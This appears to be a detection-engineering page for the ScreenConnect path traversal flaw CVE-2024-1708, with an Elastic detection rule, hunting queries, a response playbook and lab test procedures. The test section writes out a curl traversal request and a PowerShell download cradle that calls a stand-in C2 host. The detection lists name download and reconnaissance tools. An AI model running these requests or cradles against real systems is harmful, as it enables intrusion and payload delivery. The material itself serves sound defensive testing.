Detect ConnectWise ScreenConnect Path Traversal (CVE-2024-1708) in Elastic Security
Detects exploitation of CVE-2024-1708, a path traversal vulnerability in ConnectWise ScreenConnect versions prior to 23.9.8. Attackers can traverse outside the intended directory to read, write, or execute arbitrary files on the host. This vulnerability is actively exploited in the wild and listed on CISA KEV. It is commonly chained with CVE-2024-1709 (authentication bypass) to achieve unauthenticated remote code execution.
MITRE ATT&CK
Elastic Detection Query
sequence by host.id with maxspan=5m
[process where event.type == "start"
and process.name : ("ScreenConnect.ClientService.exe", "ScreenConnect.Service.exe", "ScreenConnect.WindowsClient.exe")]
[process where event.type == "start"
and process.parent.name : ("ScreenConnect.ClientService.exe", "ScreenConnect.Service.exe", "ScreenConnect.WindowsClient.exe")
and process.name : ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "net.exe", "whoami.exe", "ipconfig.exe")]EQL sequence detection for ScreenConnect service processes spawning command interpreters or reconnaissance tools within a 5-minute window, indicating path traversal exploitation.
Data Sources
Required Tables
False Positives & Tuning
- Authorized IT support personnel executing administrative scripts remotely via ScreenConnect
- Automated patching workflows triggered through ScreenConnect sessions
- Security tooling that uses ScreenConnect for endpoint management
Other platforms for CVE-2024-1708
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Path Traversal File Read via ScreenConnect Web Interface
Expected signal: HTTP 200 or 500 response logged in IIS access logs with traversal sequence in URI; network traffic from test host to ScreenConnect port 8040.
- Test 2ScreenConnect Child Process Spawn Simulation (Sysmon)
Expected signal: Sysmon Event ID 1 with Image: cmd.exe and ParentImage set to ScreenConnect service path (in actual exploitation scenario); Event ID 11 for file creation.
- Test 3Post-Exploitation Download Cradle via ScreenConnect Session
Expected signal: Sysmon Event ID 1 (PowerShell spawned from ScreenConnect parent), Event ID 3 (network connection to LAB_C2_HOST), Event ID 7 (System.Net.WebClient DLL load).
Response Playbook
Triage
- Identify the affected ScreenConnect server version and confirm whether it is earlier than 23.9.8 — unpatched instances are the primary attack surface for CVE-2024-1708.
- Review IIS or ScreenConnect web server logs for HTTP requests containing path traversal sequences (e.g., '../', '%2e%2e%2f', '%252e') targeting the ScreenConnect web interface, particularly the SetupWizard.aspx endpoint often chained with CVE-2024-1709.
- Correlate the alert timestamp with ScreenConnect session logs to determine if an external IP initiated a connection shortly before suspicious child process activity was observed.
- Check for newly created files in the ScreenConnect installation directory (typically C:\Program Files (x86)\ScreenConnect\) and subdirectories for web shells or dropped payloads.
- Determine whether CVE-2024-1709 (authentication bypass) was also exploited — look for unauthenticated access to the SetupWizard or administrative endpoints in web logs.
Containment
- Immediately isolate the affected ScreenConnect host from the network if active exploitation is confirmed or strongly suspected — remove from production and revoke all active ScreenConnect sessions.
- Apply the ConnectWise patch (upgrade to ScreenConnect 23.9.8 or later) on all ScreenConnect instances across the environment before returning any host to production.
- Block inbound connections to ScreenConnect web ports (default 8040/8041) at the perimeter firewall for all instances until patched and verified clean.
- Rotate credentials for all accounts that authenticated through or to the affected ScreenConnect instance, as session tokens may have been harvested.
Evidence Collection
- Collect and preserve ScreenConnect application logs, IIS access logs, and Windows Event Logs (Security, System, Sysmon) from the affected host for the 72 hours preceding detection.
- Capture a memory image of the affected host if a live threat actor presence (interactive shell, lateral movement) is suspected — volatile evidence of injected processes or network connections will be lost on reboot.
- Export all ScreenConnect session records for the affected period, including initiating IP addresses, user accounts, and commands executed through guest sessions.
Escalation Criteria
- !Escalate to incident response if lateral movement from the ScreenConnect host is detected (e.g., SMB connections to internal hosts, credential dumping activity, new user account creation).
- !Escalate immediately if a web shell or persistent implant is found on the ScreenConnect host, or if the spawned child processes made outbound connections to external command-and-control infrastructure.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
IIS/ScreenConnect HTTP access logs with path traversal sequences in URI (look for %2e, %252e, ../ variants) targeting /SetupWizard.aspx or /App_Extensions/ - >
Windows Prefetch files for unexpected executables spawned from ScreenConnect service parent processes - >
File system artifacts: newly created .aspx, .php, or script files in ScreenConnect web directories - >
Windows Security Event Log 4688 (process creation) or Sysmon Event ID 1 showing ScreenConnect as parent of cmd.exe/PowerShell - >
Network connection logs showing ScreenConnect service process initiating outbound connections to non-ConnectWise external IPs
Tuning Guidance
Reduce false positives by building an allowlist of known-good child processes and command-line patterns used by your IT team through ScreenConnect. Parameterize alerts by IP: connections originating from known internal management subnets should be treated differently from external IPs. If ScreenConnect is used for fully automated patching, consider excluding specific service accounts and script paths from triggering child-process alerts, but maintain detection for encoded commands and download cradles regardless of parent user context.
Hunting Queries
Proactive hunt for encoded or obfuscated commands and path traversal strings in ScreenConnect child process command lines — useful for identifying hands-on-keyboard attacker activity post-exploitation.
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("ScreenConnect.ClientService.exe", "ScreenConnect.Service.exe")
| where ProcessCommandLine has_any ("..\\", "../", "%2e%2e", "%252e", "cmd /c", "powershell -enc", "powershell -e ", "IEX", "Invoke-Expression", "DownloadString", "WebClient")
| project TimeGenerated, DeviceName, ProcessCommandLine, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated descindex=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval parent=lower(ParentImage), cmd=lower(CommandLine)
| where parent LIKE "%screenconnect%"
| where cmd LIKE "%..\\%" OR cmd LIKE "%../%" OR cmd LIKE "%invoke-expression%" OR cmd LIKE "%-enc %" OR cmd LIKE "%downloadstring%" OR cmd LIKE "%webclient%"
| table _time, host, ParentImage, Image, CommandLine, User
| sort -_timeAtomic Red Team Tests
Simulate an HTTP request containing path traversal sequences against a vulnerable (lab) ScreenConnect instance to trigger access log entries consistent with CVE-2024-1708 exploitation. Requires a lab ScreenConnect instance running version < 23.9.8.
Command
curl -v 'http://LAB_SCREENCONNECT_HOST:8040/..%2f..%2f..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts' -H 'Host: LAB_SCREENCONNECT_HOST:8040' --max-time 10Cleanup
Review and clear IIS/ScreenConnect access logs on the lab host after testing.Expected Telemetry
HTTP 200 or 500 response logged in IIS access logs with traversal sequence in URI; network traffic from test host to ScreenConnect port 8040.
Expected Detection
Web application firewall (WAF) alert on path traversal pattern; SIEM alert if access log ingestion is configured to parse URI for traversal sequences.
On a Windows test host with Sysmon installed, manually launch cmd.exe with ScreenConnect service as the simulated parent to generate process creation telemetry matching the detection signature. This does not exploit the vulnerability but validates detection logic.
Command
Start-Process -FilePath 'cmd.exe' -ArgumentList '/c whoami > C:\Temp\sc_test_output.txt' -WaitCleanup
Remove C:\Temp\sc_test_output.txt after test validation.Expected Telemetry
Sysmon Event ID 1 with Image: cmd.exe and ParentImage set to ScreenConnect service path (in actual exploitation scenario); Event ID 11 for file creation.
Expected Detection
SIEM alert fires on child process detection rule for cmd.exe spawned from ScreenConnect parent process.
In a lab ScreenConnect session on an authorized test endpoint, execute a PowerShell download cradle to simulate the post-exploitation stage of CVE-2024-1708 exploitation where an attacker drops a payload after achieving file write via path traversal.
Command
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadString('http://LAB_C2_HOST/payload.txt')"Cleanup
Terminate the PowerShell process and remove any downloaded artifacts from the test host. Clear ScreenConnect session logs on the lab instance.Expected Telemetry
Sysmon Event ID 1 (PowerShell spawned from ScreenConnect parent), Event ID 3 (network connection to LAB_C2_HOST), Event ID 7 (System.Net.WebClient DLL load).
Expected Detection
Alert on ScreenConnect child process spawning PowerShell with download cradle command line containing 'WebClient' or 'DownloadString'; network detection on outbound HTTP to non-ConnectWise host from ScreenConnect process.